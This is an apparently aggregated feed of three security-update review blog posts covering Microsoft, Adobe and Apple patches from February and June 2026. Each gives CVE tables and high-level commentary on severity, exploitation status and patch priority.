CVE-2026-44813 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44804 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-48566 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-44814 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45602 Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability Important 9.1 No No 2 Tampering
CVE-2026-42836 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42910 Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42972 Windows Hyper-V Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45592 Windows Internet (wininet.dll) Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42903 Windows Kerberos Denial of Service Vulnerability Important 6.5 No No 3 DoS
CVE-2026-42914 Windows Kerberos Denial of Service Vulnerability Important 5.3 No No 2 DoS
CVE-2026-48583 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45653 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42984 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45600 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45604 Windows Managed Installer Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45595 Windows Mark of the Web Security Feature Bypass Vulnerability Important 5.4 No No 2 SFB
CVE-2026-45636 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-50508 Windows NTLM Spoofing Vulnerability Important 6.5 No No 1 Spoofing
CVE-2026-48565 Windows Narrator Braille Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44805 Windows Network Controller (NC) Host Agent Denial of Service Vulnerability Important 5.5 No No 3 DoS
CVE-2026-42981 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-42974 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45487 Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42828 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42837 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42969 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-42971 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42970 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42973 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42978 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42977 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42979 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42991 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45639 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-42908 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-45593 Windows SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42906 Windows Shell Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42907 Windows Shell Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47648 Windows Storage Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42915 Windows TCP/IP Denial of Service Vulnerability Important 5.7 No No 2 DoS
CVE-2026-42904 Windows TCP/IP Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-42968 Windows Telephony Server Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42912 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45597 Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45599 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45635 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-40409 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-40404 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42989 Winlogon Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

 

]]> <![CDATA[The June 2026 Apple Security Update Review]]> https://tsecurity.de/de/3694562/hacking/the-june-2026-apple-security-update-review/ https://tsecurity.de/de/3694562/hacking/the-june-2026-apple-security-update-review/ Sat, 25 Jul 2026 19:02:52 +0200 đŸ•”ïž Hacking tsecurity.de We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog.

For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. The overwhelming majority (31 of 37) are WebKit/WebRTC bugs reachable through malicious web content. Most of those are crash/DoS bugs rather than code execution, so the real risk lives in the small set of kernel bugs and the handful of WebKit sandbox escapes. However, there are a couple that stand out.

-    CVE-2026-43724 (Kernel) – According to Apple, “An app may be able to cause unexpected system termination or write kernel memory.” A kernel memory write is the highest-value primitive here: it's the privilege-escalation half of a full exploit chain and leads to complete device control. The bug was credited to Hyunwoo Kim (@v4bel), who is known to be a serious kernel researcher.

-    CVE-2026-39868 (Kernel) – Another kernel bug, this one could “cause unexpected system termination or corrupt kernel memory.” This is kernel memory corruption, and notably credited to a roster of elite offensive researchers (STAR Labs, Positive Technologies, Baidu Security). This kind of attribution usually signals a weaponizable, possibly Pwn2Own-grade bug rather than a theoretical crash.

-    CVE-2026-43725 / CVE-2026-43701 (WebKit) – Apple states these bugs could allow a website to process restricted web content outside the sandbox. I'm flagging this sandbox-escape pair over the many WebKit crash bugs because a sandbox escape is the bridge that turns a web-content bug into a path toward the kernel issues above. It's the most dangerous remotely-triggered class in the release.

Here’s a look at all the bugs released by Apple this month:

Apple Security Update – June 29, 2026 37Total CVEs 22Denial of Service 7Information Disclosure 3Memory Corruption 2Elevation of Privilege 2Sandbox Escape 1Spoofing
Apple security release — June 29, 2026. "Yes/No" indicates whether each update is affected. CVE IDs link to NVD.
CVE ID Component Impact iOS 26.5.2 / iPadOS 26.5.2 macOS Tahoe 26.5.2 Safari 26.5.2
CVE-2026-43743 IOGPUFamily An app may be able to cause unexpected system termination Yes Yes No
CVE-2026-39868 Kernel An app may be able to cause unexpected system termination or corrupt kernel memory Yes Yes No
CVE-2026-43722 Kernel An app may be able to leak sensitive kernel state Yes Yes No
CVE-2026-43724 Kernel An app may be able to cause unexpected system termination or write kernel memory Yes Yes No
CVE-2026-43703 libxslt Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes No
CVE-2026-43706 libxslt Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes No
CVE-2026-43704 Web Extensions A malicious web extension may be able to cause an unexpected process crash Yes Yes Yes
CVE-2026-39872 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes Yes
CVE-2026-43663 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes Yes
CVE-2026-43676 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes Yes Yes
CVE-2026-43699 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes Yes
CVE-2026-43700 WebKit Processing maliciously crafted web content may disclose sensitive user information Yes Yes Yes
CVE-2026-43701 WebKit A malicious website may be able to process restricted web content outside the sandbox Yes Yes Yes
CVE-2026-43705 WebKit Processing maliciously crafted web content may lead to memory corruption Yes Yes Yes
CVE-2026-43707 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes Yes
CVE-2026-43708 WebKit A malicious website may exfiltrate data cross-origin Yes Yes Yes
CVE-2026-43709 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes Yes
CVE-2026-43712 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes Yes
CVE-2026-43713 WebKit Visiting a website may leak sensitive data Yes Yes Yes
CVE-2026-43715 WebKit Processing maliciously crafted web content may lead to memory corruption Yes Yes Yes
CVE-2026-43716 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes Yes Yes
CVE-2026-43725 WebKit A malicious website may be able to process restricted web content outside the sandbox Yes Yes Yes
CVE-2026-43726 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes Yes
CVE-2026-43727 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes Yes Yes
CVE-2026-43731 WebKit Processing maliciously crafted web content may lead to memory corruption Yes Yes Yes
CVE-2026-43732 WebKit Processing maliciously crafted web content may disclose sensitive user information Yes Yes Yes
CVE-2026-43734 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes Yes
CVE-2026-43735 WebKit A malicious website may exfiltrate data cross-origin Yes Yes Yes
CVE-2026-43740 WebKit Processing maliciously crafted web content may result in the disclosure of process memory Yes Yes Yes
CVE-2026-43742 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes Yes
CVE-2026-43745 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes Yes Yes
CVE-2026-43720 WebKit Canvas Processing maliciously crafted web content may lead to an unexpected Safari crash Yes Yes Yes
CVE-2026-43721 WebKit Storage A malicious website may be able to silently hijack clipboard data Yes Yes Yes
CVE-2026-28979 WebRTC Processing maliciously crafted web content may lead to an unexpected process crash Yes Yes Yes
CVE-2026-43717 WebRTC Processing maliciously crafted web content may lead to an unexpected Safari crash Yes Yes Yes
CVE-2026-43718 WebRTC Processing maliciously crafted web content may lead to an unexpected Safari crash Yes Yes Yes
CVE-2026-43746 WebRTC Processing maliciously crafted web content may lead to an unexpected Safari crash Yes Yes Yes

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

]]> <![CDATA[The February 2026 Security Update Review]]> https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/ Sat, 25 Jul 2026 19:00:44 +0200 📰 IT Security Nachrichten tsecurity.de I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

-    CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

-    CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

-    CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

-    CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

-    CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

-    CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited TYPE
CVE-2026-21514 Microsoft Word Security Feature Bypass Vulnerability Important 7.8 Yes Yes SFB
CVE-2026-21510 Windows Shell Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21513 Internet Explorer Security Feature Bypass Vulnerability Important 8.8 Yes Yes SFB
CVE-2026-21519 Desktop Window Manager Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21533 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-21525 Windows Remote Access Connection Manager Denial of Service Vulnerability Moderate 6.2 No Yes DoS
CVE-2026-21511 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2023-2804 * Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo Important 6.5 Yes No RCE
CVE-2026-24302 Azure Arc Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-24300 Azure Front Door Elevation of Privilege Vulnerability Critical 9.8 No No EoP
CVE-2026-21532 Azure Function Information Disclosure Vulnerability Critical 8.2 No No Info
CVE-2026-21522 Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability Critical 6.7 No No EoP
CVE-2026-23655 Microsoft ACI Confidential Containers Information Disclosure Vulnerability Critical 6.5 No No Info
CVE-2026-21218 .NET and Visual Studio Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21512 Azure DevOps Server Cross-Site Scripting Vulnerability Important 6.5 No No XSS
CVE-2026-21529 † Azure HDInsight Spoofing Vulnerability Important 5.7 No No Spoofing
CVE-2026-21528 Azure IoT Explorer Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-21228 Azure Local Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-21531 Azure SDK for Python Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-21251 Cluster Client Failover (CCF) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-20846 GDI+ Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-21523 GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21518 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-21257 GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-21256 GitHub Copilot and Visual Studio Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21516 GitHub Copilot for Jetbrains Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21253 Mailslot File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21537 † Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21259 Microsoft Excel Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21258 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21261 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21527 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-21260 Microsoft Outlook Spoofing Vulnerability Important 7.5 No No Spoofing
CVE-2026-21229 Power BI Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-21236 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21238 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21241 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21517 Windows App for Mac Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21234 Windows Connected Devices Platform Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21235 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-21246 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21232 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21240 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21250 Windows HTTP.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21244 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21247 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21248 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-21255 Windows Hyper-V Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-21231 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21239 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21245 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21222 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-21243 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-20841 Windows Notepad App Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-21249 Windows NTLM Spoofing Vulnerability Important 3.3 No No Spoofing
CVE-2026-21508 Windows Storage Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21237 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-21242 Windows Subsystem for Linux Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-1861 * Chromium: CVE-2026-1861 Heap buffer overflow in libvpx High N/A No No RCE
CVE-2026-1862 * Chromium: CVE-2026-1862 Type Confusion in V8 High N/A No No RCE
CVE-2026-0391 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

